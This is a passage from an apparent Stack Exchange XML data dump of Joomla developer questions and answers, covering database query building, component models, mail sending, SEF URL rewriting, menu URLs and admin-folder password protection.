site&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;qn()&lt;/code&gt; is the alias for &lt;code&gt;quoteName()&lt;/code&gt; and is used to backtick-wrap tablenames, columnnames, and their aliases.  When assigning a table alias, just write it as the 2nd parameter in &lt;code&gt;qn()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;I altered your query structure slightly and wrote your &lt;code&gt;$category_id&lt;/code&gt; into a &lt;code&gt;WHERE&lt;/code&gt; clause -- because I believe it to be more appropriate and easier to read.&lt;/li&gt;&#xA;&lt;li&gt;I prefer to chain methods all the way from &lt;code&gt;getQuery()&lt;/code&gt; -- because it can be done.&lt;/li&gt;&#xA;&lt;li&gt;Visually, the CASE syntax is rough on the eyes, I've tried to improve readability by lining up the keywords, but other developers may prefer a different style.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;(int)&lt;/code&gt; is applied to &lt;code&gt;$category_id&lt;/code&gt; as a security precaution.&lt;/li&gt;&#xA;&lt;li&gt;The &lt;code&gt;try-catch()&lt;/code&gt; blocks are handy when debugging, just don't ever display queries or errors on your live site.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;With a category_id of 1, the rendered query looks like this: (I tabbed the &lt;code&gt;dump()&lt;/code&gt; value)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT `b`.`virtuemart_product_id`,&#xA;       CASE WHEN `b`.`product_override_price` &amp;gt; 0 THEN `b`.`product_override_price`&#xA;            WHEN `b`.`product_discount_id` &amp;gt; 0 THEN `b`.`product_price` - (`b`.`product_discount_id` * `b`.`product_price` / 100)&#xA;            WHEN `b`.`product_price` &amp;lt; 1 THEN 1 ELSE `b`.`product_price`&#xA;            END AS `final_price`&#xA;FROM `vwxyz_virtuemart_product_categories` AS `a`&#xA;INNER JOIN `vwxyz_virtuemart_product_prices` AS `b` ON `b`.`virtuemart_product_id` = `a`.`virtuemart_product_id`&#xA;WHERE `a`.`virtuemart_category_id` = 1&#xA;ORDER BY `final_price`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And finally, here is the &lt;a href=&quot;https://www.db-fiddle.com/f/2uP4PGcamtvdaT5Upq2UoV/0&quot; rel=&quot;nofollow noreferrer&quot;&gt;db-fiddle&lt;/a&gt; to prove that it works.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-02-02T12:18:56.960" LastActivityDate="2019-02-02T12:18:56.960" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22805" PostTypeId="1" CreationDate="2018-05-07T12:27:08.957" Score="2" ViewCount="130" Body="&lt;p&gt;I'm trying to get an instance of a com_menus model from within my component. The following code works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_menus/models/');&#xA;$model = self::getInstance('Item', 'MenusModel');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and gives me an instance of the menu item model which I can manipulate as I need, but this code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;self::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_menus/models/');&#xA;$model = self::getInstance('Item', 'MenusModel');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;doesn't not give me a model, it just gives me &lt;code&gt;false&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My component model extends &lt;code&gt;JModelList&lt;/code&gt;. In my model, if I call &lt;code&gt;self::addIncludePath&lt;/code&gt;, I get a different result than when I call  &lt;code&gt;JModelLegacy::addIncludePath&lt;/code&gt;, even thought the static function &lt;code&gt;addIncludePath&lt;/code&gt; is the same (&lt;code&gt;JModelList&lt;/code&gt; is an alias for &lt;code&gt;ListModel&lt;/code&gt;, which extends &lt;code&gt;BaseDatabaseModel&lt;/code&gt; that defines the static function &lt;code&gt;addIncludePath&lt;/code&gt; and &lt;code&gt;JModelLegacy&lt;/code&gt; is an alias of &lt;code&gt;BaseDatabaseModel&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same static method is being executed, but clearly the context is making a difference in the result, but I don't understand why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does calling the same static method in two different ways give two different results?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the correct/preferred way of instantiating a core component's model from with a component I'm developing? It seems odd to still be using JModelLegacy.&lt;/p&gt;&#xA;" OwnerUserId="9281" LastActivityDate="2018-05-07T12:27:08.957" Title="Why calling addIncludePath from self has different results than from JModelLegacy" Tags="|joomla-3.x|joomla-api|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22807" PostTypeId="2" ParentId="22795" CreationDate="2018-05-08T07:22:38.520" Score="1" Body="&lt;p&gt;You need to follow below steps&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to components/com_yourcomponent/models/forms&lt;/li&gt;&#xA;&lt;li&gt;Find out the xml file which loads that form.&lt;/li&gt;&#xA;&lt;li&gt;Find the fields where you want to add the place holder text.&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;code&gt;hint&lt;/code&gt; attribute:&lt;code&gt;&amp;lt;field name=&quot;field_name&quot; label=&quot;Field Label&quot; type=&quot;text&quot; hint=&quot;Placeholder Text&quot;/&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12521" LastActivityDate="2018-05-08T07:22:38.520" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22808" PostTypeId="1" CreationDate="2018-05-08T20:10:50.717" Score="0" ViewCount="147" Body="&lt;p&gt;I was asked by a friend to take a look at the &lt;strong&gt;zoo&lt;/strong&gt; extension, which broke. It was used for displaying photographs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have never worked with any CMS, so this is a different world for me. I cannot update the &lt;strong&gt;zoo&lt;/strong&gt;, since the license has expired. And my friend does not want to extend it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is there any free alternative to &lt;strong&gt;zoo&lt;/strong&gt; extension for displaying photo and video content with some text?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And would it be possible to connect the same database from the zoo for that alternative extension in order to transfer quickly?&lt;/p&gt;&#xA;" OwnerDisplayName="user12522" LastActivityDate="2019-07-19T21:01:00.157" Title="zoo extension broke, are there any alternatives?" Tags="|extensions|zoo|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22809" PostTypeId="1" CreationDate="2018-05-08T21:24:11.017" Score="0" ViewCount="46" Body="&lt;p&gt;I have something strange going occurring on one of my sites and have no idea how to resolve it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When searching for an article, clicking any article link in the search results leads to a 404 page for that article. I have disabled URL Rewriting but the problem still seems to exist. You can see the problem &lt;a href=&quot;https://www.sitewidedesign.co.uk/hrfuture/search?searchword=business&amp;amp;ordering=newest&amp;amp;searchphrase=all&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does any one happen to have experienced this in the past or know where I can start in trying to debug this? The site is huge so is pretty problematic anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions would be most welcome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&#xA;Ok, so I have installed ACL manager and cleaned up the assets table (1000's of old articles transfered across by a previous developer) to no avail, I have also restored the .htaccess file to the Joomla default version but again it makes no difference. I have also disabled all Smart Search plugins, again to no avail. The only way i can get the links to work is by turning off URL rewriting and SEF URLS in global config. This is seriously baffling me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site content was copied across by another developer using SP Upgrade, hence (i'm guessing) why the assets table was in such a mess. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm seriously running out of ideas - the live site is at hrfuture (dot) net just for reference.&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="7973" LastEditDate="2018-05-17T02:28:16.027" LastActivityDate="2018-08-15T04:03:15.140" Title="Clicking any/all articles in search results goes to 404 page" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22810" PostTypeId="1" CreationDate="2018-05-09T06:14:56.423" Score="0" ViewCount="33" Body="&lt;p&gt;I transferred my Joomla website from one server to another server and updated to joomla3. On inner pages, the sidebar menu content is displaying appended junk text &lt;code&gt;[col=200]&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to remove  &lt;strong&gt;[col=200]&lt;/strong&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshots:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bxkZ3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bxkZ3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QnnjK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QnnjK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12523" LastEditorUserId="12352" LastEditDate="2018-05-26T08:07:42.477" LastActivityDate="2018-08-24T13:01:45.217" Title="Content displayed with [col=200]" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22811" PostTypeId="2" ParentId="22810" CreationDate="2018-05-09T09:38:23.957" Score="1" Body="&lt;p&gt;Have you also updated all third party extensions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These look like shortcodes which will have been added for a third party plugin, rather than part of core Joomla behaviour, and so a Joomla 3 patch may have been released (assuming it was working before you updated to Joomla 3).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A quick Google suggests that the menu may be Maximenu, in which case there is a suggested solution here:  &lt;a href=&quot;https://forum.joomlack.fr/index.php/4-maximenu-ck/7222-column-width-text-in-submenu&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forum.joomlack.fr/index.php/4-maximenu-ck/7222-column-width-text-in-submenu&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1/ use maximenu for the second menu, then the params will be removed&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;2/ use the plugin maximenu params to set your menu, then you will not&#xA;  need anymore the [xxx] text into your menu links&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Instructions for using maximenu are here: &lt;a href=&quot;https://www.joomlack.fr/en/joomla-extensions/maximenu-ck&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.joomlack.fr/en/joomla-extensions/maximenu-ck&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2018-05-09T09:38:23.957" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22812" PostTypeId="1" AcceptedAnswerId="22815" CreationDate="2018-05-10T10:39:15.877" Score="1" ViewCount="315" Body="&lt;p&gt;I have a page, where people can sign up with name and mail to a waitinglist. When they write the info, the backend add it to my db and I have an admin-page to show the list. But I would like to recieve a mail, when a new user has submittet. I tried this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$msg = &quot;New user&quot;;&#xA;mail('my_mail@hotmail.com', 'New user', $msg);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But that didn't send anything. I know Joomla have its own mail-system with JFactory, but I don't understand how I should set it up. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me out?&lt;/p&gt;&#xA;" OwnerUserId="12400" LastEditorUserId="7730" LastEditDate="2018-05-11T17:13:27.510" LastActivityDate="2018-05-11T17:13:27.510" Title="Send mail on execute" Tags="|joomla-3.x|php|jmail|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22813" PostTypeId="1" CreationDate="2018-05-10T15:35:59.803" Score="2" ViewCount="31" Body="&lt;p&gt;I have used JustHost as my ISP for years.  Previously they would make a current version of joomla available and my control panel would alert me to a new version being available.  At some point, they ceased doing that and when I would check my control panel would tell me that I was current.  After one online chat and one phone call they told me they no longer do that and it is up to me to handle it on my own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am moderately technical but this scares the living daylights out of me and I am not certain the steps I should follow.  Any advice would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="12525" LastActivityDate="2018-05-10T17:03:03.830" Title="3.5.1 to 3.8.7?" Tags="|joomla-3.x|update|3.5.1|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22814" PostTypeId="2" ParentId="22813" CreationDate="2018-05-10T17:03:03.830" Score="2" Body="&lt;p&gt;You don't need your hosting provider to tell you there's a Joomla update available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Login to the admin panel for your Joomla site and you'll see an alert&lt;/li&gt;&#xA;&lt;li&gt;Enable the system &lt;strong&gt;Joomla! Update Notification&lt;/strong&gt; plugin which will email you&lt;/li&gt;&#xA;&lt;li&gt;Subscribe to any Joomla social network such as Facebook, Twitter, etc&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The steps for updating Joomla are pretty straight forward:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Take a backup. You can use an extension such as Akeeba Backup or do it manually&lt;/li&gt;&#xA;&lt;li&gt;Make sure your 3rd party extensions are compatible with the version of Joomla you're updating to&lt;/li&gt;&#xA;&lt;li&gt;Click the big button to perform the update&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Once successfully updated, I'd also suggest going through each page on your site just to double check there aren't any errors.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I'm not suggesting this, but personally, I always wait on updating Joomla for about one week after it's released just in case (unless it's an important security patch). There have been a couple of patches that have introduced some issue in the past and I've been recommended to wait till the hotfix was released.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2018-05-10T17:03:03.830" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22815" PostTypeId="2" ParentId="22812" CreationDate="2018-05-10T20:44:12.890" Score="3" Body="&lt;p&gt;To use &lt;code&gt;JMailer&lt;/code&gt; it is pretty simple. The code below should work for you. Just change the appropriate email address and name sections to get it to work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$subject = &quot;New User Signup&quot;;  &#xA;$msg = &quot;New user&quot;;&#xA;$to = &quot;my_mail@hotmail.com&quot;;&#xA;$from = array(&quot;YOUR_EMAIL@YOURDOMAIN.COM&quot;, &quot;YOUR NAME&quot;);&#xA;&#xA;$mailer = JFactory::getMailer();&#xA;$mailer-&amp;gt;setSender($from);&#xA;$mailer-&amp;gt;addRecipient($to);&#xA;$mailer-&amp;gt;setSubject($subject);&#xA;$mailer-&amp;gt;setBody($msg);&#xA;$mailer-&amp;gt;isHtml();&#xA;$mailer-&amp;gt;send();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can read more about the Joomla &lt;code&gt;JMailer&lt;/code&gt; class here: &lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.Mail.Mail.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.joomla.org/cms-3/classes/Joomla.CMS.Mail.Mail.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7730" LastEditorUserId="168" LastEditDate="2018-05-11T09:30:27.220" LastActivityDate="2018-05-11T09:30:27.220" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="22816" PostTypeId="2" ParentId="22809" CreationDate="2018-05-11T17:22:55.483" Score="1" Body="&lt;p&gt;It appears to be your SEF URLs that are causing the issue. If I had to guess it is because your have Joomla running in a subfolder maybe? Turn off SEF URLs completely and clear your cache to see if the articles load. If they do the issue is in your .htaccess file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your .htaccess file look for the following line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#RewriteBase /&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change it to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteBase /hrfuture&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Enable your SEF friendly URLs again and you should be good to go.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2018-05-11T17:22:55.483" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22817" PostTypeId="1" CreationDate="2018-05-12T11:16:04.750" Score="1" ViewCount="74" Body="&lt;p&gt;To access the administration of the site ( &lt;a href=&quot;https://philosciences.com/administrator/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://philosciences.com/administrator/&lt;/a&gt;), I have a two-step authentication procedure set up several years ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A first authentication of the type: The &lt;a href=&quot;https://philosciences.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;site&lt;/a&gt; asks for a username and a password. The site says: &quot;Restricted Area&quot;&#xA;It provides access to the classic Joomla authentication that asks for login and password.&#xA;I would like to modify the first authentication but I forgot the procedure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I specify that it is not a double authentication by google or by Ubikey but a simple doubling of the procedure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to access, and how to modify, this pre-authentication?&lt;/p&gt;&#xA;" OwnerUserId="12533" LastEditorUserId="12533" LastEditDate="2018-05-12T11:19:31.120" LastActivityDate="2018-11-10T15:02:35.543" Title="two-step authentication" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22818" PostTypeId="2" ParentId="10677" CreationDate="2018-05-12T23:29:08.920" Score="0" Body="&lt;p&gt;I'm using a workaround:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sqlstr = &quot;INSERT INTO `table` (`f1`, `f2`, `f3`) VALUES ('1', 'x', 'p');&quot;;&#xA;$sqlstr .= &quot;INSERT INTO `table` (`f1`, `f2`, `f3`) VALUES ('1', 'x', 'p');&quot;;&#xA;&#xA;[etc.]&#xA;&#xA;$db = JFactory::getDbo();&#xA;$m = $db-&amp;gt;getConnection();&#xA;$m-&amp;gt;multi_query($sqlstr);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12535" LastEditorUserId="1520" LastEditDate="2018-05-13T13:29:00.077" LastActivityDate="2018-05-13T13:29:00.077" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22821" PostTypeId="1" CreationDate="2018-05-14T10:51:14.710" Score="2" ViewCount="84" Body="&lt;p&gt;This relates to a Joomla 3.8.7 site where most of the content is available only to logged in users which is done by setting the Access Level on menus/articles to Registered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few pages that should be publicly accessible, so those are in a category called Public with Public access and the Articles are also set to Public.  Those pages need to be accessed by direct URL (ie links in an email that show the article, not accessed via menus).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that those links are redirected to the login page for anonymous users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a bit of experimenting, it seems that this is related to the access setting of the home page menu item: if the home page menu item is set to Registered then all anonymous access is redirected to the login page.  This works well for our needs, except for the public pages. If the home page menu item is Public, then the public links work but we lose the redirection for other pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) Is this expected behaviour?  ie setting the home page menu item to Registered redirects attempts to access other URL's overriding the Public access configured for them&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b) How can I keep the redirect for most access but let the public pages be accessed anonymously?&lt;/p&gt;&#xA;" OwnerUserId="12539" LastActivityDate="2018-09-11T09:49:51.890" Title="Home page access level preventing access to 'public' pages" Tags="|joomla3.8|access|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22822" PostTypeId="2" ParentId="22817" CreationDate="2018-05-14T11:10:59.873" Score="1" Body="&lt;p&gt;On Apache servers, a common method (and hopefully the method used on the OP website) to add an extra layer of security to the Joomla back-end is to specify an additional username and password via &lt;code&gt;.htaccess&lt;/code&gt; and &lt;code&gt;.htpasswd&lt;/code&gt; files in the &lt;code&gt;/administrator&lt;/code&gt; folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The free or paid version of &lt;a href=&quot;https://www.akeebabackup.com/documentation/admin-tools/admin-pw-protection.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Akeeba Admin Tools has a tool that can help set this up&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can find instructions at: &lt;a href=&quot;http://www.htaccesstools.com/articles/password-protection&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.htaccesstools.com/articles/password-protection&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To disable this additional security layer, rename &lt;code&gt;/administrator/.htaccess&lt;/code&gt; to &lt;code&gt;/administrator/.htaccess.old&lt;/code&gt; or similar.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2018-05-14T11:10:59.873" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22823" PostTypeId="2" ParentId="18117" CreationDate="2018-05-14T13:15:29.463" Score="-1" Body="&lt;p&gt;I had to comment out the following line from joomla template.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;head&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now when reloading the homepage, the new favicon appeared, after which I un-commented the above line.&lt;/p&gt;&#xA;" OwnerUserId="1761" LastActivityDate="2018-05-14T13:15:29.463" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22824" PostTypeId="1" CreationDate="2018-05-15T05:01:24.353" Score="1" ViewCount="79" Body="&lt;p&gt;Add Install from Web tab in the Extension manager gives console error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Uncaught TypeError: Cannot set property 'value' of undefined&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When clicking on &quot;Add Install from Web tab&quot; button getting a console error&#xA;&lt;a href=&quot;http://prntscr.com/jhzff2&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://prntscr.com/jhzff2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to fix this?&lt;/p&gt;&#xA;" OwnerUserId="12523" LastActivityDate="2018-05-15T05:01:24.353" Title="Add Install from Web tab in the Extension manager gives console error" Tags="|joomla-3.x|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22827" PostTypeId="1" CreationDate="2018-05-15T13:20:00.147" Score="2" ViewCount="1535" Body="&lt;p&gt;The Joomla menu system includes the menu's parent name in the URL structure for sub-menu items as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://www.mysite.com/parent/page&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd like to remove the parent directory from the url as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://www.mysite.com/page&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can that be done?&lt;/p&gt;&#xA;" OwnerUserId="11882" LastEditorUserId="12352" LastEditDate="2019-08-11T22:27:42.980" LastActivityDate="2019-08-11T22:27:42.980" Title="How to remove menu parent from url?" Tags="|joomla-3.x|menu-item|menu|url|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22829" PostTypeId="1" CreationDate="2018-05-15T13:59:12.500" Score="1" ViewCount="124" Body="&lt;p&gt;I am new to custom Joomla coding so excuse me for this, I want to execute the following statement:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;SELECT &#xA;    MAX(CASE WHEN v.FieldName = 'Team_Name' THEN v.FieldValue END) 'Team_Name'&#xA;    , MAX(CASE WHEN v.FieldName = 'Manager_Name' THEN v.FieldValue END) 'Manager_Name'&#xA;FROM `team_values` v  &#xA;where tournamentId=5&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I am not sure how to write it, tried many scenarios but they didn't work out for me.&lt;/p&gt;&#xA;" OwnerUserId="12545" LastEditorUserId="12352" LastEditDate="2019-10-18T07:58:46.900" LastActivityDate="2019-10-18T07:58:46.900" Title="How to re-write sql for joomla JDatabase" Tags="|joomla-3.x|php|mysql|jdatabase|pivot|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22830" PostTypeId="2" ParentId="14100" CreationDate="2018-05-15T15:23:37.037" Score="0" Body="&lt;p&gt;I had this problem on the Isis template. The fix I found was to open the index.php in the Isis admin template and on lines 27 and 28 you'll find the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Add JavaScript Frameworks&#xA;JHtml::_('bootstrap.framework');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;on line 29, add the following&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('behavior.framework', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it should now look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Add JavaScript Frameworks&#xA;JHtml::_('bootstrap.framework');&#xA;JHtml::_('behavior.framework', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The buttons then started working for me.&lt;/p&gt;&#xA;" OwnerUserId="294" LastActivityDate="2018-05-15T15:23:37.037" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22831" PostTypeId="2" ParentId="20967" CreationDate="2018-05-15T15:25:15.560" Score="2" Body="&lt;p&gt;I had a similar problem to this (I wasn't able to save menu items) using the Isis admin template. The fix I found was to open the index.php in the Isis admin template and on lines 27 and 28 you'll find the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Add JavaScript Frameworks&#xA;JHtml::_('bootstrap.framework');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;on line 29, add the following&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('behavior.framework', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it should now look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Add JavaScript Frameworks&#xA;JHtml::_('bootstrap.framework');&#xA;JHtml::_('behavior.framework', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The buttons then started working for me.&lt;/p&gt;&#xA;" OwnerUserId="294" LastActivityDate="2018-05-15T15:25:15.560" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22832" PostTypeId="1" CreationDate="2018-05-15T16:10:54.640" Score="1" ViewCount="400" Body="&lt;p&gt;Is there a way to manipulate the resulting HTML that jForm generates?  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;form-&amp;gt;renderField('myfield');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Apparent Joomla Default Form HTML&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;control-label&quot;&amp;gt;&#xA;        &amp;lt;label id=&quot;jform_myfield-lbl&quot; for=&quot;jform_myfield&quot; data-placement=&quot;bottom&quot;&amp;gt;My Field&amp;lt;/label&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;        &amp;lt;input name=&quot;jform[myfield]&quot; id=&quot;jform_myfield&quot; value=&quot;My Value&quot; class=&quot;input-sm&quot; placeholder=&quot;Enter a value&quot; aria-invalid=&quot;false&quot; type=&quot;text&quot;&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Preferred HTML&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;myfield&quot; class=&quot;col-sm-2 control-label&quot;&amp;gt;My Field&amp;lt;/label&amp;gt;&#xA;    &amp;lt;div class=&quot;col-sm-10&quot;&amp;gt;&#xA;        &amp;lt;input class=&quot;form-control valid&quot; id=&quot;myfield&quot; name=&quot;myfield&quot; value=&quot;My Value&quot; placeholder=&quot;Enter a 